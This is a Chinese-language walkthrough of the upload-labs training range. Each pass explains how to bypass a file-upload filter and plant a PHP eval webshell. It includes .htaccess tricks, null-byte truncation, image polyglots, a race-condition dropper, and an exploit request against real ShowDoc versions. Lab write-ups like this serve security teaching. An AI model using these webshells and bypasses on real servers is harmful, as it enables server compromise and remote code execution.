upload-labs-main-v1.0
upload-labs-main-v1.0
Pass-01【前端校验】
解题wp (By:独立团孙德胜Alan)
本Pass是客户端过滤,可以通过禁用JS的方式绕过!
1、打开第一关
2、上传一个普通的shell.php文件
<?php @eval($_POST('Alan'));?>
提示不允许上传
3、分析代码
发现是前端JS校验
4、前端js验证的绕过
对于前端js验证的绕过方法较为简单,我们可以将要上传的php文件改后缀名为jpg|png|gif,绕过js验证后,再用burp更改上传请求。或者浏览器禁用js后进行上传。
5、使用工具Burpsutie拦截,修改后缀名为.php
修改图片内容为一句话木马的内容:
<?php @eval($_POST('Alan'));?>
使用重放包功能上传Alan.php:
6、上传成功!
7、使用webshell连接工具连接即可。
Pass-02【MIME验证】
解题wp(By:独立团孙德胜Alan)
本pass在服务端对数据包的MIME进行检查!
1、打开第二关
2、上传一个普通的shell.php文件
<?php @eval($_POST('Alan'));?>
提示不允许上传。
3、分析代码
发现原来是检测了Content-Type头,于是我们可以通过修改头的方式绕过。
4、MIME绕过
对于验证了MIME的问题,我们可以使用Burpsutie抓包,修改Content-Type,绕过验证。
Pass-03【黑名单绕过】
解题wp(By:独立团孙德胜Alan)
本pass可以修改PHP后缀绕过!
1、打开第三关
2、上传一个普通的shell.php文件
<?php @eval($_POST('Alan'));?>
提示不允许上传.asp,.aspx,.php,.jsp后缀文件!
3、分析代码
发现原来过滤.php,但.php3 、Phtml等都可以被解析,成功绕过
4、绕过验证
我们可以使用Burpsutie抓包,修改后缀,绕过验证。
Pass-04【.htaccess绕过】
解题wp(By:独立团孙德胜Alan)
本pass可以使用中间件特性绕过! 请注意中间件版本!
1、打开第四关
2、上传一个普通的shell.php文件
<?php @eval($_POST('Alan'));?>
提示不允许上传
3、分析代码
发现转换了大小写,还有常见的后缀名,以及去除了字符串等众多过滤,\(img_path变量在拼接的时候用的是\)file_name变量(Pass-03用的是$file_ext)。所以可以使用的上传.htaccess(没在黑名单中且未对白名单文件重命名)内容是AddType application/x-httpd-php .jpg然后再上传一个.jpg文件(含php内容)就可以把.jpg当作php解析我们可以使用中间件的特性绕过。
4、我们可以使用Burpsutie抓包,利用中间件的特性绕过
Apache 中间件特性,可以尝试一下后缀为.htaccess的文件。
SetHandler application/x-httpd-php
分别上传.htaccess,shell.jpg
即可绕过
Pass-05【大小写绕过】
解题wp(By:独立团孙德胜Alan)
本pass可以通过修改后缀名的方式绕过
1、打开第五关
2、上传一个普通的shell.php文件
<?php @eval($_POST('Alan'));?>
提示不允许上传
3、分析代码
\(file_ext = strtolower(\)file_ext); //转换为小写
发现转换了大小写,还有常见的后缀名,以及去除了字符串等众多过滤,还过滤了.htaccess,但是仔细审计代码,其实可以通过修改后缀名为Php的方式绕过
4、我们可以使用Burpsutie抓包,利用修改后缀大小写的方法
Pass-06【Windows系统特性-空格绕过】
解题wp(By:独立团孙德胜Alan)
本pass可以通过增加空格的方式绕过,注意,此Pass需要修改PHP环境为5.2.17
1、打开第六关
2、上传一个普通的shell.php文件
<?php @eval($_POST('Alan'));?>
提示不允许上传
3、分析代码
\(file_ext = trim(\)file_ext); //首尾去空
抓包增加空格。window和linux系统文件名后缀都会自动过滤空格
4、我们可以使用Burpsutie抓包,利用windows系统特性绕过
Pass-07【Windows系统特性-.绕过】
解题wp(By:独立团孙德胜Alan)
本pass可以通过增加点的方式绕过,注意,此Pass需要修改PHP环境为5.2.17
1.打开第七关
2.上传一个普通的shell.php文件
<?php @eval($_POST('Alan'));?>
提示不允许上传
3.分析代码
\(file_ext = strrchr(\)file_name, '.');
抓包增加点即可,window系统文件名后缀都会自动过滤点
linux环境下也可增加点再上传,linux下不会过滤文件名最后的点
4.我们可以使用Burpsutie抓包,利用windows系统特性绕过
Pass-08【Windows文件流特性-::$DATA绕过】
解题wp(By:独立团孙德胜Alan)
本pass可以通过增加点的方式绕过
1.打开第八关
2.上传一个普通的shell.php文件
<?php @eval($_POST('Alan'));?>
提示不允许上传
3.分析代码
::$DATA 利用 Windows文件流特性绕过
4.我们可以使用Burpsutie抓包,利用windows文件流特性绕过
Pass-09【Windows文件流特性绕过-点+空格+点】
解题wp(By:独立团孙德胜Alan)
本pass可以通过增加点的方式绕过,注意,此Pass需要修改PHP环境为5.2.17
1.打开第九关
2.上传一个普通的shell.php文件
<?php @eval($_POST('Alan'));?>
提示不允许上传
3.分析代码
上传test.php. .(php后面加上点空格点)
4.我们可以使用Burpsutie抓包,利用特性绕过
Pass-10【双写文件名绕过】
解题wp(By:独立团孙德胜Alan)
本pass可以通过增加点的方式绕过,注意,此Pass需要修改PHP环境为5.2.17
1.打开第十关
2.上传一个普通的shell.php文件
<?php @eval($_POST('Alan'));?>
我们发现,上传的时候被去掉php了
3.分析代码
可以看到\(file_name = str_ireplace(\)deny_ext,"", $file_name),直接删除黑名单中的内容。但是这个代码凶起来连文件名的内容也删,这让我想起之前看的文章说不要试图修改用户的输入,直接禁止就行。
因为str_ireplace函数只使用了一次。直接使用双写绕过就行test.pphphp
4.我们可以使用Burpsutie抓包,双写php绕过
Pass-11【%00截断绕过-url】
解题wp(By:独立团孙德胜Alan)
本pass可以通过增加点的方式绕过,注意,此Pass需要修改PHP环境为5.2.17
1.打开第十一关
2.上传一个普通的shell.php文件
<?php @eval($_POST('Alan'));?>
3.分析代码
$img_path = \(_GET['save_path']."/".rand(10, 99).date("YmdHis").".".\)file_ext
//\(_GET和之前的\)_POST差不多,主要是可以进行抓包修改
然后通过
move_uploaded_file(\(temp_file,\)img_path)函数利用
%00截断
截取的数据包,把标记的内容修改成../upload/test.php%00。这样实际是将1.jpg的内容移动到test.php文件中了。
因为$img_path变量是../upload/test.php%00xxx.jpg。在php版本<5.3.4且magic_quotes_gpc=off时
以上为服务器phpinfo中的信息。../upload/test.php%00xxx.jpg会被认为../upload/test.php
利用move_uploaded_file函数,临时路径下的jpg文件内容写入../upload/test.php中
4.我们可以使用Burpsutie抓包,使用%00绕过
Pass-12【%00截断绕过-hex值】
解题wp(By:独立团孙德胜Alan)
本pass可以通过增加点的方式绕过,注意,此Pass需要修改PHP环境为5.2.17
1.打开第十二关
2.上传一个普通的shell.php文件
<?php @eval($_POST('Alan'));?>
3.分析代码
Pass-11不一样的地方是Pass-12利用$_POST获取save_path,此参数也是可注入的。只是修改的地方和Pass-11不一样,Pass-12在Hex数据流中修改(Hex将报文中的字符全部转换成16进制)
%00和0x00截断
原理都是一样的,都是利用16进制的00截断原理 。
Pass-11中对url进行解码。将%00解码成0x00,而Pass-12中没有url解码这一步,直接在hex的值中修改。形成0x00截断。
4.我们可以使用Burpsutie抓包,使用%00绕过
Pass-13【图片马绕过】
解题wp(By:独立团孙德胜Alan)
本pass可以通过制作图片马绕过
1.打开第十三关
2.上传一个普通的shell.php文件
<?php @eval($_POST('Alan'));?>
3.分析代码
源码中利用getReailFileType函数中fread函数读取文件开头两个字符,并利用unpack函数将字符转换成ascii码值,最后用intval连接取整(值为$typeCode)。
然后判断$typeCode为255216(0xff,0xd8)、13780(0x89,0x50)、7173(0x47,0x49)
JPG:对于JPG文件保留的文件头标识就多一些了(10行左右),可以直接在JPG文件都加php木马,但是会有如下错误。
PNG:89 50 4e 47 0d 0a 1a 0a(可以抓包修改hex,也可以找个真png,用编辑器打开,将文件头标识后面的内容替换成php木马就行)
GIF:GIF89a(直接在文件头加入,也可以抓包修改hex:47 49 46 38 39 61)
这是JPG因为文件内容有干扰PHP解析的数据出现,后删除部分内容上传后成功
4.我们可以本地制作一个图片马绕过
Pass-14【图片马绕过】
解题wp(By:独立团孙德胜Alan)
本pass可以通过制作图片马绕过
1.打开第十四关
2.上传一个普通的shell.php文件
<?php @eval($_POST('Alan'));?>
3.分析代码
本Pass主要利用isImage函数来判断上传的文件是不是图片类型(不仅仅是三种常规类型图片)。来看看isImage函数干了什么事情:
首先利用getimagesize函数检测文件类型。
然后利用image_type_to_extension函数对getimagesize函数返回的数组索引2(Array[2])作后缀名转换,最后用stripos函数检测image_type_to_extension函数返回的结果是否在变量$types白名单中。
所以关键就是getimagesize函数,它的工作原理是什么,什么样的文件会让它返回的数组的索引 2 为"白名单数字",怎么样去绕过它?
所以getimagesize函数不是绝对安全的,关键看怎么去使用它。对于本Pass只检测getimagesize($file)[2]的值,其绕过方式和Pass-13相似。只是文件头多保留几位罢了。
JPG:对于JPG文件保留的文件头标识就多一些了(10行左右),可以直接在JPG文件都加php木马,但是会有如下错误。
PNG:89 50 4e 47 0d 0a 1a 0a(可以抓包修改hex,也可以找个真png,用编辑器打开,将文件头标识后面的内容替换成php木马就行)
GIF:GIF89a(直接在文件头加入,也可以抓包修改hex:47 49 46 38 39 61)
4.我们可以本地制作一个图片马绕过
Pass-15【图片马绕过】
解题wp(By:独立团孙德胜Alan)
本pass可以通过制作图片马绕过
1.打开第十五关
2.上传一个普通的shell.php文件
<?php @eval($_POST('Alan'));?>
3.分析代码
本Pass中使用的是exif_imagetype函数来检测上传的文件是否为图片,其返回值和Pass-14中getimagesize函数返回值的索引2是一样的
4.我们可以本地制作一个图片马绕过
Pass-16【二次渲染绕过】
解题wp(By:独立团孙德胜Alan)
本pass主要考察二次渲染
1.打开第十六关
2.上传一个普通的shell.php文件
<?php @eval($_POST('Alan'));?>
3.分析代码
源码中使用imagecreatefrom...函数对图片文件进行二次渲染。该函数调用了PHP GD库(GD库,是php处理图形的扩展库),对图片进行了转换。
将一个正常显示的图片,上传到服务器。下载被渲染后与原始图片对比,在仍然相同的数据块部分内部插入Webshell代码,然后上传。
4.我们可以通过先上传一个图片文件,然后下载回来,再上传一次,再下载的方式绕过
具体原理,可见:
https://www.fujieace.com/penetration-test/upload-labs-pass-16.html
Pass-17【条件竞争绕过】
解题wp(By:独立团孙德胜Alan)
本pass主要考察条件竞争
1.打开第十七关
2.上传一个普通的shell.php文件
<?php @eval($_POST('Alan'));?>
3.分析代码
本Pass解除了利用文件包含漏洞,仔细读代码发现源码中先判断move_uploaded_file函数是否执行成功,然后再判断上传的文件后缀名是否在白名单中,如果不在白名单中则用unlink函数删除文件。
可以通过条件竞争的方式在unlink函数执行之前访问上传文件。
4.我们可以通过上传一个能生成新的文件的木马,然后不停访问它
使用Burpsuite抓包上传shell.php
内容:
<?php fputs(fopen('Alan.php','w'),'<?php @eval($_POST["Alan"])?>’);?>
作用:
只要访问了shell.php文件,php文件就会成功解析执行,自动创建一个Alan.php,写入一句话木马:
<?php @eval($_POST["Alan"]);?>
然后写两个脚本,一个是上传shell.php的脚本
一个是访问/shell.php的脚本
线程拉大即可
Pass-18【.htaccess+条件竞争绕过】
解题wp(By:独立团孙德胜Alan)
本pass主要考察条件竞争,以及后缀名绕过
1.打开第十八关
2.上传一个普通的shell.php文件
<?php @eval($_POST('Alan'));?>
3.分析代码
本Pass解除了利用文件包含漏洞,仔细读代码发现源码中先判断move_uploaded_file函数是否执行成功,然后再判断上传的文件后缀名是否在白名单中,如果不在白名单中则用unlink函数删除文件。
可以通过条件竞争的方式在unlink函数执行之前访问上传文件。
然后又加了限制,白名单中存在.7z,apache不能解析,因此可以利用apache的解析漏洞,命名文件为1.php.7z,这样,apche从右往左解析时,遇到.7z不认识,就把这个文件当作.php来解析
4.我们可以通过上传一个能生成新的文件的木马,然后不停访问它
使用Burpsuite抓包上传shell.php.7z
内容:
<?php fputs(fopen('Alan.php','w'),'<?php @eval($_POST["Alan"])?>’);?>
剩下的和第17关一样
Pass-19【%00截断绕过或.绕过】
解题wp(By:独立团孙德胜Alan)
本pass主要考察代码审计能力
1.打开第十九关
2.上传一个普通的shell.php文件
<?php @eval($_POST('Alan'));?>
发现强制性改成了upload-19.jpg
3.分析代码
黑名单策略,文件名用户可控,取文件名通过$_POST来获取。
名单策略,文件名用户可控,文件命名shell.php.绕过
上传shell.php文件,保存名称改为upload-19.php.绕过黑名单
4.修改upload-19.php.即可绕过,也可以通过截断方式绕过
特别注意,如果使用upload-19.php.绕过,需要修改PHP环境为5.2.17
或者保存名自动变为upload-19.jpg,改为upload-19.php(0x00).jpg,可以用move_uploaded_file函数的00截断漏洞绕过。
Pass-20【代码审计】
解题wp(By:独立团孙德胜Alan)
本pass主要考察代码审计能力
1.打开第二十关
2.上传一个普通的shell.php文件
<?php @eval($_POST('Alan'));?>
发现上传失败
3.分析代码
$file_name经过reset($file) . '.' . $file[count($file) - 1];处理。
上传的是数组的话,会跳过$file = explode('.', strtolower($file));
后缀有白名单过滤
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
最终的文件名后缀取的是$file[count($file) - 1],我们可以通过让$file为数组。$file[0]为smi1e.php/,也就是reset($file),然后再令$file[2]为白名单中的jpg。
此时end($file)等于jpg,$file[count($file) - 1]为空。而 $file_name = reset($file) . '.' . $file[count($file) - 1];,也就是1.php/.,最终move_uploaded_file会忽略掉/.,最终上传1.php
说明:
empty函数:检查一下变量是否为空;返回值:如果变量是非零非空的值返回False,否则返回True;
三运运算符:(expr1) ? (expr2) : (expr3); 如果条件expr1 成立,执行expr2,否则执行expr3;
end函数:将内部指针指向数组最后一个元素并输出;
reset函数:将内部指针指向数组第一个元素并输出;
4.如图所示,两种方式均可
Pass-21【FCKeditor文本编辑器漏洞】
FCKeditor文本编辑器漏洞
https://www.ngui.cc/zz/1787212.html?action=onClick
Pass-22【ShowDoc文件上传漏洞】
ShowDoc存在一个上传漏洞的位置
ShowDoc < V2.8.3都可利用
EXP:
POST /Pass-22/index.php?s=/home/page/uploadImg HTTP/1.1
Host: 192.168.3.99
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Content-Length: 241
Content-Type: multipart/form-data; boundary=--------------------------921378126371623762173617
Accept-Encoding: gzip
----------------------------921378126371623762173617
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
Content-Type: text/plain
<?php phpinfo();?>
----------------------------921378126371623762173617--